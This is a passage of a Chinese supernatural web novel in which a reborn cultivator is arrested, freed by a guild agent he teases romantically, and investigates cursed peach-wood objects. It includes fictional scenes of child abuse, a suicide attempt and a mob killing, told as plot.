警察来得很快,死了三个人,还是这种诡异的死法,段安洛根本解释不清,更何况,他没有身份证! “源儿,拿着你的证件,让公会的人过来解释。”他记得原身的记忆中提过,这本书的主角就进了公会,为了保人间太平,他们和警方一直有合作。灵异案件都是公会在处理,最后会把普通人交给警方审判。 江源傻了,“证件?我没带啊。” 段安洛想打孩子了,这个憨憨! 现在只能先走,去江源的公会,让公会出面解释。 然而,整个房间突然卷起黑色的漩涡,隐约可见一个模糊的人形在重组。段安洛眼神一凛,猛地将噬魂幡插入漩涡中心。 那黑影发出一阵阴冷的笑声,听不出男女,“崔杨是我养了好多天的养料,把他给我留下。” 想到这惨死的母子三人,段安洛的眸子比以往都要红,灵气从镇魂幡中散出来,杀气肆意,“你可以试试。” 黑影看他,突然疑惑的问:“又是你?你叫段安洛?” 段安洛挑了挑眉,又?他们见过? 黑影好像受到了刺激,“你也配叫段安洛?!” 段安洛被气笑了,“这名字是你爹专属,别人不能叫?” 他五百年前就叫段安洛,他都没申请专利,现在还不能叫了? 黑色的影子在魂幡下扭曲,“伶牙俐齿!” “说你一句就是伶牙俐齿,说十句你不得气死?”段安洛把全身的灵气全都用上,自从被金印压过之后,他灵脉上的伤愈合了不少,他不仅会骂人,他还会杀人呢。 附着在灵魂上的黑气第一次凝聚成型,一把浓黑如墨的鬼头刀悬在黑影头顶,一刀斩首! 紧接着,紫色的天雷光炸下来,把黑影撕碎。 影子消失前,说了一句:“像这种傀儡我还有很多,我等着你来找我。” 段安洛阴沉着脸,“多洗几遍脖子,等我去撕了你!” 这是个分身,也就是一缕怨气组成的,打散了对本体影响不大。那句“这样的傀儡还有很多”,引起了段安洛心底的不安。必须尽快找到其他的傀儡,再弄死那个本体,要不然还会死更多的人。 能在白天出现,还能隐藏这么久的东西,段安洛不知道自己这个病歪歪的身体能不能扛得住。让他斗法还行,动手?呵!他不想挨揍。 再看他的队友——已经吓傻了的江掌门,段安洛心累的否决了,这是个一吓就碎的拖油瓶,还不如他这个得了“鸡瘟”的老祖宗。 他需要一个能打的,他认识的人里面,只有一个! 这一耽搁,脚步声已经到了门口,段安洛知道来不及跑了,赶紧掏出手机,在警察破门而入的前一秒,给穆清卓发了条语音:“去公会找一个叫司苍的人,告诉他你夫君被抓走了让他来捞我!” 20 三章合一 段安洛毫不意外地被警察抓了。 吓呆了不知道跑的江源也被抓了。 已经哭到不能动,下一秒就能死过去的崔杨也被抓了。 警车后座上,江源正襟危坐,怀里抱着他那把小破桃木剑,表情严肃得像在参加重要会议。 公会有规定,遇到警察叔叔调查要积极配合,不要慌,报证件号,警方会跟公会联系,证明清白就会放他们走。 但是师祖没有证,连身份证都没有,江源要哭了,他一紧张就会离魂,已经开始恍惚了。 而崔杨则是蜷缩在角落,因为打击太大,心神不稳,整个人都要碎了。 段安洛心累地在他俩头上拍了几下,先稳住他们的心神,他真的太累了,出来打架需要自己动手不说,还要带着两个随时会碎的拖油瓶。 他看着眼里无神的崔杨,“想死也要在给他们报了仇之后,再看想不想死。把你知道的线索都告诉警察,你妻子从什么时候开始改变的,你好好回忆一下细节。” 崔杨的眼睛渐渐聚焦,不知道听进去没有。 年轻的警察狐疑地看了他一眼,把他手里的伞和江源的小木头剑都给收了。这三个人,典型的病、呆、傻,组合在一起怎么看也不像能杀人的。 更何况从现场的证据表明,人都死好多天了。不过他的专业素养让他不会放过任何一个可疑分子,全都带上车。 警局审讯室里,年轻的警察就开始对着江源的口供抓狂:“鬼杀人?你捉鬼?小朋友,你《聊斋》看多了吧?” 江源红着脸解释:“我说的都是真的,我有官方认证的天师资格证书,官网可查,编号是CNMD7199。” 小王气得把本子摔了,“你骂我!” 江源冤枉,他没有,他真的没有! 他们玄学公会的编号就是这样的,根据分工不同,前面的编号都不一样,好像是模仿华夏的防御系统,有CNMD,CTMD,还有CNMLGB。 他们觉得这样他们就有国运护体,打架的时候骂骂咧咧就上去砍,护我华夏,谁来惹事就干死谁,至死不退。 好像只有一支队伍的编号前头不带字母,传说中的弑神小组,只做S级的任务,针对的是上古魔神的复苏,还有国外的攻击。 江源也不知道真的假的,毕竟他只是个调查员,还是跟着前辈打酱油的那种,他听他们分会长说的,也可能是喝醉了吹牛逼。 这时,一个中年人推门进来,把小王叫到角落,“这小孩说的是真的,案件被转走了,不用审了。” “那一个呢?”小王指着隔壁房间,已经趴在桌子上睡着的段安洛,“他连自己的身份证号都背不出来。” 李队嘴角抽搐,这心也太大了。 “这个更不用审,上面交代了,好好照顾,明天有人来接他。”看小王一脸不忿,李队拍拍他的肩膀,“他们确实是清白的,放他们走是为了更快查出真相,还死者公道,也为了救更多的人。等你转正了,会专门给你做培训。” 案件之所以转移这么快,是因为段安洛被带走后,穆清卓干了件大事。 大半夜的,穆清卓收到段安洛的信息,还以为自己在做梦,义父大人在上,在梦里都要折腾他? 确定不是梦之后,穆清卓给段安洛打了四次电话,没人接听,他就知道坏了,他干爹可能有危险。 他没想到段安洛会被警察误会后带走,他以为段安洛被鬼给抓走了。 穆少瞬间就脑补出了一整部《义父的一百种死法》,半夜安排人,一个去玄门看看有没有人,一个去他去过的那个公会,找那个叫司苍的人。 而他自己,直接花钱找报社和网络媒体,为了救他干爹,半夜的时间,让不睡觉的人都知道司苍女士的老公被抓走了,让她赶紧去救。 穆少很庆幸,幸亏自己反应快,因为那个公会里根本就没有叫司苍的人,他们没查到(没权限)。 做完这一切之后,穆少还想呢,他这是又多了个干妈? 就他干爹那张脸,他干妈长成什么样才能没有压力?不过从名字上看,干妈应该挺彪悍的,能手撕恶鬼什么的。穆少又脑补了一出脆皮爹、彪悍妈的大戏,感觉他干妈也不容易,大半夜的,还要去救那个不让人省心的脆脆鲨。 会长知道消息的时候差点心梗,人怎么能惹出这么大的祸? 他发誓,他真的派人去看段安洛了,确认他没事才走的,这才多长时间,看着病歪歪的人,怎么这么能作? 清晨七点,段安洛被阳光晃醒,慢条斯理地坐起身,理了理微皱的衣领。 小王推门进来,表情复杂地看着这个在警局睡得安稳的人,“你可以走了,这是你的东西。” 段安洛微微颔首:“多谢,和我一起来的那两个人呢?特别是那个娃娃脸的小矮子。” “他被特殊部门接走了。”小王觉得挺不靠谱的,什么单位啊,连初中生都敢招?“另一个作为案件相关人员也被带走调查了,小孩哥说崔杨欠你们钱,临走的时候还让他写了欠条,我夹你伞里了。” 段安洛打开噬魂幡一看,果然,别着一张纸。 还得是他家源儿,催债不看场合,上去就要。 小王开门送他离开,“接你的人在门口。” 段安洛眨了眨眼,接他的人?大儿子来了? 他没多想,看着小王的额头,提醒他:“小哥,这两天晚上出门的时候别上尾号是9的出租车,有杀身之祸。” 小王一愣,这已经是今天第二个说这种怪话的人了,先前接走那个持证小孩的黑衣人,也神神秘秘地提醒他晚上别出门,有危险。 小王忍不住问:“你们到底是哪个部门的?” “爱国者联盟的,是个民间组织,以后你们需要顾问可以找我,我收费不高,但是喜欢锦旗。”段安洛说完,笑呵呵地走了。 小王无语,你要的还挺全面。 走出警局大门,段安洛站在台阶上,目光扫过街道,最后落在一辆黑色的越野车上。 那辆越野车像一头蛰伏的猛兽,通体漆黑,车身线条硬朗锋利,宽大的轮胎纹路很深,沾着未干的泥泞,显然刚经历过一场跋涉。 车窗降下,露出司苍那张极具辨识度的脸,眉骨与鼻梁连成一道陡峭的弧度,锐利的丹凤眼微微上挑,眼神扫过来的时候,段安洛莫名想起上好的冷玉,美则美矣,伸手去碰却会被寒气刺得生疼。 一般遇到这种玉,段安洛喜欢把它泡在温水里,能不能泡热乎了?泡热了之后会变成什么样?会变色吗?还是会裂开?捞出来之后还会变冷吗?没别的意思,就是单纯的好奇。 司苍开口,就两个字:“上车。” 段安洛挑了挑眉,轻笑着上了车,大儿子干得漂亮! 坐在司苍身边后,段安洛好脾气地夸他:“你这张脸,看着就镇邪。” 司苍:“……” 车厢突然陷入诡异的寂静,“噗!”坐在驾驶位上的白毛青年震惊过后,哈哈大笑,“老大,我就说你天天冷着脸,鬼见了都怕。” 在后视镜里看到司苍的眼神后,白毛赶紧闭了嘴,憋笑憋得肩膀直抖。 段安洛注意到这个白头发的年轻人,周身萦绕着棉花糖似的白色气运,再看司苍,身上的黑气已经很明显了,上次他给清理过之后,这才几天?又长回来了。 可是这个年轻人身上的气息,竟然能和司苍身上的黑气抗衡,段安洛佩服,这个部门果然人才辈出,这样的人都能找到。 换句话讲,这个白发小哥的运气得多好?他是不是买饮料会一直再来一瓶?吃冰棍也能吃到再来一根?那岂不是一直不用花钱? 段安洛狠狠地羡慕了。 他凑过去,真心感谢,“谢谢你们救我出来,我叫段安洛,你怎么称呼?” 白毛看着就是个阳光开朗大男孩,主动伸手跟段安洛握了握,“我叫白子越,你不用这么客气,你是无辜的,警方查清之后也会放你出来,不会太久。” 段安洛感慨,现在的制度真好啊,以前遇到脾气不好的官爷,不管是不是你,先摁住打一顿。有时候为了冲业绩,审都不审,直接屈打成招,他看见太多冤死的鬼了。 他不经打的,他害怕对方一扬鞭子他就认罪了,那就太冤枉了。 不过俩人来的这么快,也让段安洛好奇,“穆清卓是怎么找到你的?” 司苍闭了闭眼,捏着拳头,能听见骨节咔咔响,那个智障! 白子越抢着说:“你那位朋友可了不得,凌晨三点买热搜,标题是:悬赏百万急寻司苍女士!您丈夫段安洛被G抓走了!这个G我研究了一下,可能是鬼的意思。” 段安洛想了想那个画面,只能说:干得贼漂亮! 他脸上歉疚地说:“抱歉,他可能误会了。” 司苍冷着脸,“我本来不想管的。” 是那个智障还想继续买热搜,他丢不起那个人。 段安洛一如既往的好脾气,甚至有点宠溺:“你看你,又说气话,我死了你就成寡夫了。” 司苍脸色一沉,“再胡说我就把你扔下去。” 段安洛一脸受伤地看着他的眼睛,“这么绝情吗?你是怕别人知道我们的关系吗?你……” 司苍下意识的捏住了他的嘴,手动闭嘴。 段安洛眼里的笑意快要溢出来,这人,不经逗。 短暂的接触后,司苍松开手,指尖温软的触感让他下意识的摩挲了一下手指,搞不懂为什么这张嘴明明这么软,说出来的话这么欠。 白蛇的灵体又在闹,像一只发癫的哈士奇,他烦躁的给摁住了,顿了顿之后,司苍有些别扭的问:“你,怕蛇吗?” 段安洛疑惑的眨眨眼,“蛇那么可爱,为什么要怕蛇?” 司苍这就放心了,“等你忙完,给你看个东西。” 段安洛点了点头,不再逗他,摸出手机就看到99+的未读消息。他先给穆清卓发了条信息:“已安全,勿念。”紧接着穆清卓的电话就打了进来。 段安洛安抚完了穆清卓,又拨通江源的电话,江源委屈巴巴,“师祖,您出来了吗?” “出来了,你挨骂了?”段安洛问得温和,电话那头更委屈,“队长骂我出门办事不带证。” 段安洛轻笑一声,安慰他:“那你记住了,下次一定要带,现在把电话给你们队长。” 对方接过去后,段安洛客气地说:“你好,我是江源师门的长辈,我家这几年一直受你们照顾,人情我记下了,以后一定还。” 通话结束后,段安洛这才把注意力放在司苍身上。 把他身上的黑气抽走,再次看到对方那千疮百孔的命格,段安洛还是觉得,自己真不是人啊,好好的命格就这么让他糟蹋了。 司苍的目光落在段安洛的手上,五指修长,骨节分明,纤细得只要稍微用力就会捏断,可偏偏能抽出连他都束手无策的黑气。 他低沉的嗓音格外笃定,“你用自己的身体,封印过什么?” 段安洛心里咯噔一下,指尖无意识地颤了颤,司苍竟然连这都能看出来? 他之前就纳闷,身上这些黑气到底哪儿来的? 直到算卦的时候遇到那个老渣男,他诅咒对方,结果当场应验。 那时候他就心里打鼓了,这些黑气应该是魔神后卿留下的。 最开始,段安洛不知道那个走到哪里,哪里就死人的家伙是魔神后卿,他只知道对方害死无辜的人,就有了取死之道。 后来发现,那人的身体已经僵化,他在哪里出现,哪里就会大旱。 整整三年,百姓颗粒无收,树皮吃完了,草根也吃完了,连朝廷都发不下赈灾粮了。 段安洛追着对方打了很久都搞不定,他不仅会诅咒,还会飞,眼看着百姓苦不堪言,易子而食,段安洛实在没办法了,只能把自己当成封印的容器,封住对方的魂魄,和他同归于尽。 结果肉身没了,灵魂上却沾了这种黑气。不过目前还能控制,至于以后会怎样……随缘吧。 天道赐他重生,总不会就是为了再让他死一次吧?段安洛心大得很,主打一个活着挺好,死了也行,哪里死了哪里埋,埋哪儿都无所谓。 但这些不能告诉司苍,不然他解释不清楚,更麻烦。 正琢磨着怎么编的时候,司苍又开口了:“我查过了,你这黑气不是普通的阴煞之气。你的档案干干净净,根本不可能接触这种东西。” 段安洛眨眨眼,心里飞快盘算:这该怎么解释? 司苍看他眼神飘忽,就知道他不想说实话,他这张嘴,胡说八道更让人生气,“不想说就算了。” 白子越惊了,我丢!你竟然是这么好说话的人?! 段安洛立刻顺杆爬,“我这里正好有个活儿,缺人手,你要不要来帮忙?” 话题转变的特别生硬,硬到能把人掰断。 白子越热情地问:“是不是昨晚那个面具傀儡?听说现在一点线索都没有,连尸体上都检测不出鬼气残留。” “巧了!”段安洛摊开手,“昨晚我刚解决一个黑影,虽然是个分身,我还是从他身上拿到了不少东西。” 白子越建议:“目前这个任务还没人接,我听说奖金有5万,你可以继续查。” 一听到钱段安洛就来了精神,5万啊,他什么时候才能赚到这么多钱?这个公会的人都富得跟咸鸭蛋黄一样,一戳就流油吗? 白子越把手机递过去,“加个好友呗~” 段安洛乐呵呵地扫码,加好后转头看司苍:“你的呢?加个好友,省得下次找你还要花钱打广告。” 司苍板着脸没动,段安洛也不急,就歪着头笑眯眯地盯着他看,目光柔和,平淡,不急不缓,佛、道、仙三法同修,身上的气息强大到能包容一切。 司苍绷不住,鬼使神差地拿出手机。 他是为了不让穆清卓那个智障再用那么智障的办法找他而已! 段安洛加上好友一看,好家伙,司苍的微信干净得像新注册的,没视频、没朋友圈,头像更是冷酷,黑底红字,两个S,看着像什么神秘代号。 段安洛好奇地问:“你这头像中间加个零,是不是就成求救信号了?” 司苍微微皱眉:“零?” “网上都这么说的啊,斯,零,斯!” “……嗯,零。”司苍语气平淡,看着段安洛的眼神有些古怪。 段安洛还嫌弃他呢,老古董肯定不上网,沟通不了。 直到车开进陌生路段,段安洛才反应过来:“等等,这是去哪儿啊?” 白子越坏笑:“把你拉去卖掉~” “行啊!”段安洛往座椅上一靠,“卖掉之前能不能填饱肚子,我饿了。” 受段安洛气场的感染,一直坐得板直的司苍渐渐放缓身体,靠在后背上,“先去吃饭,然后带你去见会长。” 段安洛正好也想找他们,按照那个黑影说的话,应该还有很多傀儡,他一个人抓不过来。 他的目标是拐走司苍当打手,现在目标又加了一个,那五万块钱,他要了。他想买空调,再把窗户换成玻璃的,再买个厚实的床垫子。 看见司苍板着脸,段安洛就想逗他,“行啊,我还以为你要带我去见家长。” 白子越顺嘴调侃了一句:“要去民政局吗?前面就是。” 段安洛无所谓,“停一下也行。” 司苍挑了挑眉,看他无所畏惧的样子,突然说:“在民政局停车。” 白子越吓了一跳,“不是老大,你来真的?” 司苍脸上没什么表情,声调笃定得吓人,“嗯。” 21 嘿!又一个三更合一 明明已经清除了魔障,老板还是像着了魔一样,摇着头拒绝段安洛的话:“他不是怪物,他不是,不是……” 死不悔改,就不认自己亲儿子。 老板这个态度把段安洛气坏了,他检查了一下,面具里果然还残留着小孩的一点执念。 段安洛直接抽出来,拍进老板的脑海中,“你好好看看自己做过什么吧!” “啪!”竹尺在书桌上抽出一道白痕,男孩吓得缩在墙角,手里攥着那张38分的数学试卷。爸爸的眼睛瞪得像铜铃,脖子上青筋暴起,好像下一秒就要冲过去掐死他。 “老子每天起早贪黑供你读书,你就拿这个报答我?”爸爸抓起作业本往孩子脸上砸,“跟你妈一样,都是没用的废物!只会哭!” 男孩双手抱头,闭着眼不敢看爸爸狰狞的表情。妈妈活着的时候,他打妈妈。妈妈病死了,他又开始打他。他总是把希望放在别人身上,餐馆的生意不好,也不找自己的原因。 直到爸爸砸完桌上所有东西,耳边终于安静下来,男孩忍着恐惧睁眼,看到地板上妈妈的照片——那是妈妈生病前拍的,照片里的她正对着他笑。现在相框玻璃碎了,裂纹正好划过妈妈的脸。 男孩想要捡起来,下一秒被爸爸拽着衣领拖到书桌前,“今晚不把这几张卷子做完不许睡觉!” …… 男孩站在校门口,看着最后一个家长撑伞离开。班主任拍拍他肩膀:“回去吧,跟你爸爸好好说,你这次进步很大。” 男孩摇摇头,他早知道会这样。 爸爸说过:考不到前十名就别想让我去丢人! 这次他考了35名,比上次进步了10个名次。但那又怎样?他还是进不了前十。 他真的很努力了,可很多题他就是听不懂,老师单独给他讲了三遍,他也听不明白。他想周末去补课,爸爸说没用,别想骗他的钱,还不如在店里帮忙。 男孩抬头望着天上的阴云,雨水混着泪水往下流,很快心口处就湿了一片,就像爸爸看他的眼光,冰凉。 回到家时,爸爸正在打电话。浑身湿透的男孩站在门口,听见爸爸对电话那头说:“别提了,我家那个废物……” …… 越来越大的压力让男孩患上抑郁症,他不敢跟任何人说,也不想说话。每天见到爸爸,他都本能地害怕,甚至同处一个空间就焦躁不安。 他放学不愿意回家,晚上严重失眠,一听到爸爸的声音就生理性想吐。他在网上查过,有人说这种生理反应是因为这个人给他留下了严重的心理创伤。 而这个人,竟然是他的爸爸。 他上课越来越难以集中注意力,每天浑浑噩噩,连饭都不想吃,成绩更是下滑得厉害。 等到他的,又是一顿打。 终于,他鼓起勇气用刀片划开手腕。 鲜红的血液流下时,男孩笑了。 这种生命流逝的感觉,对他来说是一种解脱。 死了就能见到妈妈了吧?他太想她了。血滴在妈妈留下的毛巾上,像朵朵梅花。男孩突然想起妈妈临终前摸着他的头说:“我们小杰啊,只要健康快乐就好……” 他浑身发抖,不知道是因为地上太凉,还是流血过多,体温在急剧下降,可是妈妈,我一点都不快乐……你快来接我吧…… 血液越流越多,眼前开始模糊时,爸爸冲了进来。他狠狠地扇了他一耳光,“你这个讨债的逆子!你竟然敢自杀,你想让别人戳我脊梁骨吗?” …… 镜子里的男孩脸色惨白,他没死成,出院后又挨了一顿打。 他想起上周在小店里看到的狮身人面像,摊主说它能实现所有的愿望。如果,真的有东西能让他变成父亲想要的“好儿子”就好了。 画面消失,老板还在喃喃自语:“废物,废物就是废物……” 好,很好。 段安洛确定了,没救了。 他气极反笑,直接伸手在司苍裤子口袋里掏出证件,“有证可以弄死他吗?” 可以他就去考一个。 “普通人不能杀。”司苍垂眸瞥了眼自己的口袋,眉头微挑,病秧子拿他东西倒是顺手,手法堪比神偷,他怀疑他练过。 段安洛气呼呼地把证件塞回去,没用就不考了! 他指着瘫在地上的老板,“按照你们的规定,这个渣怎么处理?” 司苍对着手机只说两个字:“后勤。” 不一会儿,门外传来脚步声,后勤组的人鱼贯而入,效率高得惊人,前后不超过三分钟。 段安洛啧了一声,“衙门办事就是快,跟当初抓我时一样利索。” 司苍挑眉,衙门? 段安洛目光一转,发现那个狮身人面像嘴角的弧度似乎更大了,像得逞的笑,又像是嘲讽。他拿起来仔细检查了一下,果然察觉到一缕怨气,“接下来查这个串串吧,它有问题。” 司苍接过来看了看,然后递给了后勤组。 但段安洛心里那股火还是没消,回头对着老板踹了两脚。 后勤组的人一愣,看了看司苍,见他没阻拦,有个小伙子试探性地问:“哥,反面要不要再来两脚?” 段安洛痛快地又补了两脚。 两个后勤组的人把老板翻了个面,问段安洛,“哥,侧面要不要来两下?” 段安洛低头看看自己的鞋:“算了,脏了我的鞋。”这鞋是小徒孙在地摊上给他买的,斥巨资49块钱,可不能糟蹋了。 他突然蹲下身,看着老板的眼睛,一字一顿地说:“诅咒你老无所依,下半辈子霉运附体,财运全无。” 后勤的人心说这混蛋真把大师给气坏了,看看,气的都骂人了。 司苍却看到一丝黑气缠在老板的身上,这是诅咒,应验了。 段安洛满意了,去隔壁小卖部买了一兜冰棍,打开一个大布丁,狠狠地咬了一口,冰凉甜蜜的感觉瞬间中和了残余的火气,舒坦多了。 怪不得后卿那个碎嘴子那么喜欢骂人,骂了能成真,真爽。 段安洛叼着冰棍,把塑料袋往司苍面前一递:“喏,挑一个。” 司苍看着花花绿绿的包装纸,眉头微蹙:“?” 段安洛瞥见他指间的龙纹尾戒在阳光下泛着冷光,撇撇嘴:“算了,跟你们这种世家大族养出来的人说不清楚。”他故意把塑料袋抖得哗哗响,“让你挑就挑,哪来这么多讲究。” 司苍冷淡地拒绝:“我不吃。” “啧啧啧,”段安洛摇摇头,“没有冰棍的夏天是不完整的。” 接着他把袋子拎给后勤组,“给你们吃。” 后勤组的小伙子们眼睛一亮,见司苍没反对,机灵地说:“哥,您放边上就行,等收队了我们分着吃。” 段安洛把冰棍往桌上一搁,好奇地凑到后勤人员身边。只见他们麻利地把老板抬上担架,将木质化的尸体装进特制尸袋,连地上那滩水渍都用特殊容器取样封存。 有人拿着仪器到处扫,段安洛在手机上见过类似的东西,跟超大的放大镜一样。他好奇地问:“这是什么?” 长得好、脾气好的人走到哪里都会受到优待,更何况他能力强,又给他们买冰棍,自然更加受优待。给老板翻面的小伙子解释:“这是灵力探测器,能捕捉残留灵力和负面磁场,回去放大分析就能追踪源头。” “厉害!”段安洛眼睛一亮,现代人真聪明,借助工具比人快多了。人会误判,机器不会。 他夸赞时的眼神格外真诚,许群被他看得耳根发烫,不自觉地多瞄了他几眼。 “你一会儿能不能帮我扫一下这个?”段安洛掏出狮身人面像,“我想对比下我的发现和机器检查出来的结果有什么不一样。” 许群爽快点头:“可以,我检查完就帮你扫。” “谢谢!你忙完叫我。”段安洛又跑到另一个仪器旁:“这又是什么宝贝?” “净化器。”另一个队员接话,“命案现场容易积聚阴气,灵气复苏后这种地方最容易闹鬼。” 司苍一回头,看见段安洛已经和后勤组的人混熟了。那群年轻人像被花蜜吸引的蜜蜂,争相回答他各种问题。更离谱的是,居然没人问这个连证件都没有的人是什么来路。 白子越也是这样,明明和段安洛是第一次见面,俩人却能凑一起聊半天,有的话段安洛接的驴头不对马嘴,白子越还能顺着往下聊,俩人聊得津津有味。 段安洛到底修炼什么功法,竟然有这种亲和力? 用噬魂幡,会诅咒,偷东西手法娴熟,不会英文字母,不认识狮身人面像。 但是他的资料上显示,段安洛,名牌大学毕业,美术专业高材生。他现在做的,和以前学的,南辕北辙。 再想到白蛇见了段安洛就想往他身上扑,那种亲昵让司苍甚至怀疑段安洛是不是人? 要不是段安洛身上没有一点被夺舍的痕迹,甚至还有天道护体,他都会怀疑之前的那个段安洛已经死了,这个是孤魂附身,或者是什么妖精变的。 这种无厘头的想法一冒出来,司苍就捏了捏额头,那个该死的契约总让他下意识地关注段安洛的一举一动,这种不受控的感觉让他有些烦躁。 不多时,许群扫描完狮身人面摆件,结果显示上面残留的怨气与男孩体内的怨气如出一辙,“哥,崔杨家也发现了这种残留,侧卧的桌子腿用胶带缠了厚厚一层,好像是后来修桌子用的木头。” 也是木头?段安洛点点头,拿过狮身人面像:“这东西你们还用吗?” “不用了,我们已经做好记录了,回去就能追查源头,看看还有没有类似的邪物。” 段安洛吸收里面残留的怨气,却看到另一幅画面:山沟里的小村口,一棵半死不活的老桃树,在月光下投下张牙舞爪的影子。树下泛着潮湿的土腥气,几个男人挥舞锄头,挖出一个两米多的大坑。 几个妇人押着瘦弱女人来到坑边,一脚把她踹进坑里。 女人挣扎着往上爬,一个男人抡起锄头狠狠砸在她肩头,骨头断裂的声音混着凄厉的惨叫,男人骂道:“贱人!我让你偷人!” “我没有!”女人满脸是血,手指死死抠进泥土,指甲都翻了起来。 人群里,一个老妇人死死的抓着一个小孩,捂着她的嘴,不让她说话。那孩子也就三四岁,睁着双黑得瘆人的眼睛,恶狠狠地盯着挖土的人。 男人又一锄头抡过去,锄头砸中头部,女人应声倒了下去,鲜血瞬间染红她的脸。 眼看着女人没了声音,有围观的人已经露出怯意,纷纷往后退。男人的手也在抖,但还是咬牙骂:“你个该死的娼妇!我让你背着我偷人!” 女人突然爆发出最后的力气,伸着手,想要爬上去,“我没有!” “放屁!”男人抡起锄头砸向女人手指,“老子亲眼看见张货郎从你屋里溜出来!” “对!我们都看见了!”人群里不少人应和,“娼妇!快埋了她!传出去咱们村的姑娘都别想嫁人了,丢死人了!” 这时,小孩挣脱老妇人,冲了出去,“娘!那晚我听见隔壁村的王寡妇和爹说,她怀了个男娃,等娘死了,她就带着家里的财产嫁给我爹。爹还说要去雇个货郎来敲娘的门。” 激愤的人群突然死寂,沉默过后,女人突然癫狂地大笑起来,“你们都不得好死!我做鬼也不放过你们!” 人群里的白发老妇人最先回过神来,冲过来狠狠抽了女孩一巴掌,“你个孽障!你为了你娘竟敢污蔑你爹!赶紧把她埋了!桃树镇邪,好好压一压这娼妇的淫魂!” 一锹锹黄土劈头盖脸扬下来,混着女人的鲜血,埋在老桃树下。 一夜之间,这棵半死不活的老桃树突然开满桃花,每一朵都红得像血。 …… 段安洛沉默良久,这是谁的记忆?女人?女孩?总不能是桃树的吧? 他昨晚打散的分身看不出男女,这个画面和串串摆件里的怨气又有什么关系? 他又拿着摆件找后勤小哥:“你再帮我查查,这是不是桃木雕的?还有崔杨家那个桌子腿,是不是桃木的?最好是能查出来,它们两个是不是来自同一棵树。” 段安洛也不知道现在的技术能高级到什么程度,看他们拿仪器扫墙就感觉很厉害。 许群拿起木雕左右看了看,含笑说道:“这个简单,你等着,一会儿就能查出来。” 段安洛感叹,他在网上看到一句特别真实的话,人有多大胆,地有多大产,以前他还以为是吹牛呢,现在明白了,这年头真的只要敢想,什么都能完成。 他要是再敢想一点,他家源儿是不是就能考个满分,以后能考个状元什么的,光宗耀祖? 下一秒段安洛就否定了这个想法,自嘲地摇摇头:“我也是想瞎了心了。” 司苍看他表情一直在变,低头问:“有问题?” 段安洛沉吟道:“如果这是桃木做的,那个女人含冤而死,又被埋在桃树下。桃树年份大已有灵性,吸收女人的骨血后重获新生,同时融合了她们的怨气,就说得通了。” 司苍不解,“什么女人?什么桃树?” 段安洛自顾自地梳理:“那桃树竟然能活到现在?又是怎么变成木雕的?咱们这次遇到的,可能不仅仅是鬼,可能还有个桃树精。桃树精又被人给砍了,做成了木雕。” 司苍抄着口袋静静听着,他现在耐心好到令人恐惧,只要段安洛不对着他胡说八道,他都能耐心听完。 段安洛悲天悯人地叹气:“事到如今……” 他不说话了,一直看着司苍。 司苍以为他在等自己回应,难得地迎合他的话题:“怎样?” 段安洛一甩手,潇洒的跟甩袖子一样,“先吃饭吧。” 司苍:“……” 段安洛想得很开,着急也没用,想不通就不想了。等后勤做完分析,找出所有含怨气的木头再做下一步计划。 他看了眼手机,已经快一点了。这两天刚赚了笔钱,顺手给江源转了三千块零花钱,一边转账一边问司苍:“中午想吃什么?我请你。” “随意。”司苍对吃的一向没要求,能填饱肚子就行。 段安洛无奈摇头,这人实在太无趣了。他迟早要换个香香软软的大美人,到时候挣的钱都给她花,她只要陪他吃喝玩乐就行,最好是给钱就会一直夸他的那种。 这条街上有很多小吃店,段安洛挑挑拣拣,最终在一家卖冷面的门口站住了。他在网上刷到过,这种冷面能放菜,能加冰,据说吃起来酸酸甜甜,特别清爽。 天气越来越热,段安洛都快蔫儿了,连最爱吃的“科技与狠活”都不感兴趣了。 五分钟后,司苍盯着面前三碗堆成小山的冷面,额角青筋跳了跳,“你这是要给我上贡?” 段安洛捧着自己那碗正常尺寸的面,慢条斯理地挑里面的黄瓜丝吃,“我怕你吃不饱。” 司苍的嘴角微微抽搐,他看起来很像饭桶? 司苍再怎么吃,也只是吃掉两碗,段安洛暗搓搓地看着他,眼神很明显,太废物了,三碗面都吃不了。 这种个子高又爱练功的人胃口都很大,以前他养的那些保镖都很能吃的,他有经验。 司苍吃不完,只能说,他不行。 挨过饿的人都舍不得浪费一丁点的粮食,就在段安洛犹豫这碗面要怎么处理的时候,许群跑过来,手里拿着那个木雕,“哥,真让你说对了,这东西确实是桃木做的,崔杨家的那个桌子腿也是桃木的,它俩出自同一棵树。” “真能干。”段安洛眼睛弯成月牙,把剩面往前一推,“你还没吃饭吧?凑合吃点?” 许群耳尖通红地摆手:“不、不用!我们买饭了,我回去吃就行,有事你再叫我!”说完跟兔子似的,转身就想跑。 司苍揪住了他的衣角,就像揪住了兔子尾巴,“吃了再走。” 许群哪儿都不红了,一脸严肃地坐下吃面,像是完成某种仪式。 段安洛悄悄伸出大拇指,干得漂亮~ 22 司苍:你想谋杀亲夫吗? 自古以来,百姓就认为鹅能辟邪驱凶,和狗差不多。鹅的叫声尖锐,警惕性比狗都高,老百姓认为它们能抵御邪恶和不幸,保家宅安宁,所以很多老百姓都养鹅。 其实这个说法没错,在五行学上来说,鹅与金相对应,代表着刚毅和财富,养鹅确实可以增加家里的金气。 鹅的生机也很足,以前的盗墓贼下墓的时候会把鹅先放进墓道里,他们认为鹅的眼睛能通阴阳,战斗力又低,所以邪祟出来第一个要杀的就是鹅,能起警示作用。 段安洛不用大鹅献祭,能发出警示就可以,如果这只大白鹅品性好,还能统领这群“绿林好汉”,他真想把它带回家养。 前提是这只大白鹅能说普通话,因为他怕这小子用家乡话骂他,他听不懂。 段安洛下了车,大鹅大摇大摆地停在段安洛对面,伸长脖子,身高能到段安洛的腰上,“嘎!大师,你这次找我们做什么?” 段安洛把那团怨气拿出来,“你们分一分,满城给我找和这团怨气同宗同源的东西,可能是鬼,也可能是个物件,还有可能是个活人,反正我也不知道是个什么东西,你们连老鼠洞都给我翻一翻,一定要把这东西找出来。” 大白鹅扇了扇翅膀,做任务之前,先谈好合同,毕竟它带着这么多兄弟一起混,它要负责的,“你真的会给我们一个月的香火吗?你也看到了,我们来了很多只。” “给,以后我们长期合作,你们替我办事,我就给你香火,还能给你们贡品,我用灵魂起誓。”动物不能喂太饱,喂太饱了容易产生邪念,这样吊着胃口养是最好的,段安洛有经验。 大鹅立刻昂首挺胸:“嘎!保证完成任务!兄弟们!走!” 大白鹅一声令下,老鼠钻地,兔子蹦跶,蛇类游走,连那只羊都“咩咩”叫着加入了搜寻大队,场面一度十分魔幻。 段安洛也感觉这个画面很逗乐,他忍着尴尬,一本正经地跟司苍说:“耐心等,它们很能干。” 